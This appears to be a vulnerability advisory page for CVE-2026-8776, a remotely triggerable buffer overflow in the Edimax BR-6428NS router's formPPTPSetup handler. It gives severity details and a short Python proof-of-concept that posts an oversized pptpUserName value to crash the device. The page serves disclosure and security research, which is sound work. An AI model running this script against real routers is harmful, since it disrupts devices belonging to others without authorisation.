CVE-2026-8776

Description

A vulnerability has been found in Edimax BR-6428NS 1.10. This vulnerability affects the function formPPTPSetup of the file /goform/formPPTPSetup of the component POST Request Handler. Such manipulation of the argument pptpUserName leads to buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edimax BR-6428NS 1.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_ip):
    url = f"http://{target_ip}/goform/formPPTPSetup"
    # Malicious payload to trigger buffer overflow
    # Adjust length based on specific buffer size analysis
    payload = "A" * 1000  
    
    data = {
        "pptpUserName": payload
    }
    
    try:
        print(f"Sending payload to {url}...")
        response = requests.post(url, data=data, timeout=5)
        print(f"Response status code: {response.status_code}")
        print("Check if the device has crashed or the service is interrupted.")
    except Exception as e:
        print(f"Request failed (device may have crashed): {e}")

if __name__ == "__main__":
    target = "192.168.1.1" # Replace with actual target IP
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8776
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8776
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8776/
[4] VulDB https://vuldb.com/cve/CVE-2026-8776
[5] https://lavender-bicycle-a5a.notion.site/EDIMAX-BR-6428NS-formPPTPSetup-34b53a41781f8074a88af068842b599e?source=copy_link
[6] https://vuldb.com/submit/811531
[7] https://vuldb.com/vuln/364401
[8] https://vuldb.com/vuln/364401/cti

Raw JSON Data

JSON

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